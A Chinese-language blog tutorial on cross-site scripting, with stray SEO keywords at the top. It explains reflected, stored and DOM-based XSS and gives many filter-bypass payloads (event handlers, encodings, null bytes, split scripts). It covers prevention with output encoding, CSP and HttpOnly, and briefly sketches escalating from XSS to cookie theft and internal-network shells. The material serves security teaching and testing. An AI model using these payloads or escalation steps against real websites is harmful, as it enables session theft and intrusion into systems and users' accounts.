2026/5/26 22:16:10
网站建设
项目流程
成都网站优化多少钱,网站的制作步骤包括,wordpress语言切换网站,ps加dw做网站免责声明
由于传播、利用本号所提供的信息而造成的任何直接或者间接的后果及损失#xff0c;均由使用者本人负责#xff0c;本人不为此承担任何责任#xff0c;一旦造成后果请自行承担#xff01;
01 漏洞原理
当应用程序发送给浏览器的页面中包含用户提交的数据#x…免责声明由于传播、利用本号所提供的信息而造成的任何直接或者间接的后果及损失均由使用者本人负责本人不为此承担任何责任一旦造成后果请自行承担01 漏洞原理当应用程序发送给浏览器的页面中包含用户提交的数据但没有经过适当验证或转义时就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性而不是缺陷浏览器同源策略只有发布Cookie的网站才能读取Cookie。会造成Cookie窃取、劫持用户Web行为、结合CSRF进行针对性攻击等危害02 漏洞类型反射型 #出现在搜索栏用户登录等地方常用来窃取客户端的Cookie进行钓鱼欺骗。(需要用户去点击)想要窃取cookie要满足两个条件1.用户点击攻击者构造的URL 2.访问被攻击的应用服务(即存在xss的网站)存储型 #出现在留言、评论、博客日志等交互处直接影响Web服务器自身安全DOM型 #基于文档对象模型(Document Object Model)的一种漏洞DOM型与反射型类似都需要攻击者诱使用户点击专门设计的URLDom型 xss 是通过 url 传入参数去控制触发的Dom型返回页面源码中看不到输入的payload 而是保存在浏览器的DOM中。假设应用程序返回的页面包含以下脚本script var url document.location; url unescape(url); var message url.substring(url.indexOf(message) 8,url.length); document.write(message); /script把 javascript 代码作为message的参数这段代码将会被动态的写入到页面中并像服务器返回代码一样得以执行。DOM型与反射 型类似都需要攻击者诱使用户点击专门设计的URL查找利用XSS漏洞 #基本验证 #scriptalert(document.cookie)/script把这个字符串提交给每个应用程序页面的每个参数同时监控它的响应如果攻击字符串原样出现在响应中就可能存在XSS漏洞。许多应用可能会经过黑名单等简单的初步过滤试图阻止XSS攻击可以通过编码等方式绕过ScRiPtalert(document.cookie)/ScRiPt %3e%3cscript%3ealert(document.cookie)%3c/script%3escrscriptiptalert(document.cookie)/scr/scriptipt %00scriptalert(document.cookie)/script当利用基于DOM的XSS漏洞时攻击有效载荷并不在服务器的响应中返回而是保存在浏览器的DOM中并可被客户端javascript访问。在这种情况下以上基本验证无法发现XSS漏洞。03 漏洞实例查找反射型XSS #测试引入脚本的反射 ##例1标签属性值假设返回页面中包含以下脚本input typetext namename valuetest-text 很明显利用xss的方法是终止包含字符串的双引号结束标签scriptalert(1)/script#例2javascript字符串假设返回页面中包含以下脚本scriptvar atest-text; var b123;.../script用分号终止语句; alert(1); var foo#例3包含URL的特性假设返回页面中包含以下脚本a hreftest-textClick here/ahtml这时受控制的字符插入到一个标签的href属性中。这个属性可能包含一个使用javascript:协议的URL利用javascript:alert(1);脚本标签 #事件处理器有大量事件处理器可与各种标签结合使用用于执行脚本。一些示例可在不需要任何用户交互的情况下执行脚本style onreadystatechangealert(1)/style iframe onreadystatechangealert(1)/iframe object onerroralert(1)/object img typeimage srcvalid.gif onreadystatechangealert(1) input typeimage srcvalid.gif onreadystatechangealert(1) body onbeforeactivatealert(1)/body video src1 onerroralert(1)/video audio src1 onerroralert(1)脚本伪协议脚本伪协议可用在任何位置以在需要URL的属性中执行行内脚本。object datajavascript:alert(1)/object iframe srcjavascript:alert(1)/iframe event-source srcjavascript:alert(1)/event-source避开过滤:HTML #标签名称改变字符大小写iMg onerroralert(1) srca插入NULL字节[%00]img onerroralert(1) srca标签名称后的空格一些可用于替代空格的字符img[%09]onerroralert(1) srca img[%0d]onerroralert(1) srca img[%0a]onerroralert(1) srca img/onerroralert(1) srca属性名称绕开一些检查以on开头的过滤器img o[%00]nerroralert(1) srca属性分隔符,把多个属性分隔开img onerroralert(1)srca属性值可以用NULL字节或HTML编码属性值img onerrora[%00]lert(1) srca img onerrora#x006c;ert(1) srcaHTML编码 十六进制编码 base64编码 ASCII编码以下属性可以被编码hrefactionformactionlocationon*namebackgroundpostersrccodedata//只支持base64字符集有时可用一些非标准编码绕开过滤器UTF-7、US-ASCII、UTF-16拆分跨站当应用程序没有过滤、关键字却限制了字符长度时可用拆分跨站scriptzscript src;/* */ztest.c;/* */zn/1.js0/script;/* */document.write(z)/script最终执行script zundefinedscript srctest.cn/1.js/script; document.write(z) /script避开过滤脚本代码 #有些过滤器可能阻止javascript关键字和表达式有用的字符比如引号、括号和圆点。Unicode转义scripta\u006cert(1)/script如果能够使用eval命令就能够将其它命令以字符串的格式传送给eval从而执行其它 命令。scripteval(a\u006cert(1));/script替代圆点scriptalert(document[cookie])/script scriptwith(document)alert(cookie)/script查找利用存储型XSS #1.确定保存型XSS漏洞的过程与前面描述的确定反射型XSS漏洞的过程类似。2.但是这两个过程之间也存在一些重要的区别3.在进行测试时必须记住这些区别以确定尽可能多的漏洞。(1) 向应用程序的每一个可能的位置提交一个特殊字符串后必须反复检查应用程序的全部内容与功能 (2) 如有可能应检查管理员能够访问的区域确定其中是否有可以被非管理用户控制的数据 比如有些应用可以在浏览器查看日志攻击者可留下恶意的HTML日志加以利用 (3) 检查应用的整个流程确保测试彻底检查任何可控的带外通道如HTTP消息头在上传文件中测试XSS如果应用程序允许用户上传可被其它用户查看下载的文件就会出现保存型XSS这种漏洞常被人们忽略。测试时首先上传一个验证性的HTML文件。如果该文件被接受则尝试以正常方式下载该文件。如果应用程序按照原样返回最初的文件并且脚本被执行则应用肯定易于受到攻击。例可把XSS的payload做成图片木马上传到用户头像(用各种方法去绕过上传限制)查找并利用DOM型的XSS漏洞 #确定基于DOM型的XSS漏洞一种有效的方法是检查所有客户端JavaScript看其中是否使用任何可能会导致漏洞的DOM属性。检查每一段客户端JavaScript看其中是否出现以下API它们可用于访问通过一个专门设计的URL控制的DOM数据document.location document.URL document.URLUnencoded document.referrer window.location在每一个使用上述API的位置仔细检查那里的代码确定应用程序如何处理用户可控的数据以及是否可以使用专门设计的输入来执行JavaScript。尤其注意检查并测试控制的数据被传送至以下任何一个API的情况document.write()document.writeln()document.body.innerHtml eval()windows.execScript()windows.setInterval()windows.setTimeout()片段技巧服务器不解析url中#后的内容防止反射型与存储型XSS #用户可控的数据未经适当的确认与净化就被复制到应用程序响应中这是造成反射型与保存型XSS漏洞的根本原因1.确认输入数据不能太长 数据仅包含某组合法字符 数据与一个特殊的正则表达式相匹配 根据应用程序希望在字段中收到的数据类型应尽可能的限制性的对姓名、电子邮件地址、账号等 应用不同的确认规则2.确认输出如果应用程序将某位用户或第三方提交的数据复制到它的响应中应对这些数据进行HTML编码净化恶意代码。3.消除危险插入点应尽量避免直接在现有的JavaScript中插入用户可控的数据 如果标签属性接受URL作为它的值应避免嵌入用户的输入4.允许有限的HTML一些应用程序允许用户以HTML格式提交即将插入到应用程序响应中的数据。 例如博客、论坛的富文本编辑器允许使用HTML书写。 有各种框架(如OWASP AntiSamy项目)可用于确认用户提交的HTML标记以确保其中未包含任何执行JavaScript的方法。 防止基于DOM的XSS漏洞 # 造成这种漏洞并无法不需要将用户可控的数据复制到服务器响应中所以上述防范方法对DOM型XSS无用 应用程序应尽量避免使用客户端脚本处理DOM数据并把它插入到页面中 如果无法避免应使用以下两种方法防御DOM型XSS攻击。客户端确认将要插入到文档中的数据仅包含字母数字与空白符scriptvar adocument.URL;aa.substring(a.indexOf(message)8, a.length);aunescape(a);varregex/^(A-Za-z0-9\s)*$/;if(regex.test(a))document.write(a);/script服务端对URL数据进行严格确认查询字符串中只有一个参数 参数名大小写检查 参数值仅包含数字字母2.确认输出在将用户可控的DOM数据插入到文档之前进行HTML编码?phpfunctionreinit(str){var ddocument.createElement(div);d.appendChild(document.createTextNode(str));returnd.innerHTML;}?04 漏洞防御介绍一些通用的方案可以降低 XSS 带来的风险和后果。Content Security Policy严格的 CSP 在 XSS 的防范中可以起到以下的作用禁止加载外域代码防止复杂的攻击逻辑。 禁止外域提交网站被攻击后用户的数据不会泄露到外域。 禁止内联脚本执行规则较严格目前发现 GitHub 使用。 禁止未授权的脚本执行新特性Google Map 移动版在使用。 合理使用上报可以及时发现 XSS利于尽快修复问题。 输入内容长度控制。 对于不受信任的输入都应该限定一个合理的长度。 虽然无法完全防止 XSS 发生但可以增加 XSS 攻击的难度。HTTP-onlyHTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie攻击者完成 XSS 注入后也无法窃取此 Cookie。验证码防止脚本冒充用户提交危险操作。05 总结如何快速发现 xss 位置 对于反射型XSS一般来说就是找输入点的可控参数比如搜索框、留言板、 登录 / 注册构造payload发送监控响应上边这种方法不适用于DOM型XSS因为 基于DOM的XSS漏洞 payload并不在服务器的响应中返回而是保存在浏览器的DOM中对于存储型XSS正常的输入payload查看是否过滤也可以反向猜测输出点构造payload去输入XSS 蠕虫的产生条件 可以执行恶意操作 可以感染并传播 就是产生XSS点的页面不属于self页面用户之间产生交互行为的页面都可能造成XSS Worm的产生 微博、贴吧 由于XSS蠕虫基于浏览器而不是操作系统取决于其依赖网站的规模它可以在短时间内达到对巨大数量的计算机感染XSS能打到后台但是后台系统处于内网怎么做内网探测XSS平台拿cookie登录后台或钓鱼拿登录然后找上传点getshell然后结合msf使用github有一些现成的xss扫描内网端口的脚本可以参考利用 再根据探测出来的信息进一步利用比如开了redis等再就是利用漏洞去getshell6 工具推荐项目地址https://github.com/s0md3v/XSStrike/releases/tag/3.1.5 XSS前端编码https://github.com/evilcos/xssor2Xss-cheat-sheethttps://portswigger.net/web-security/cross-site-scripting/cheat-sheet网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取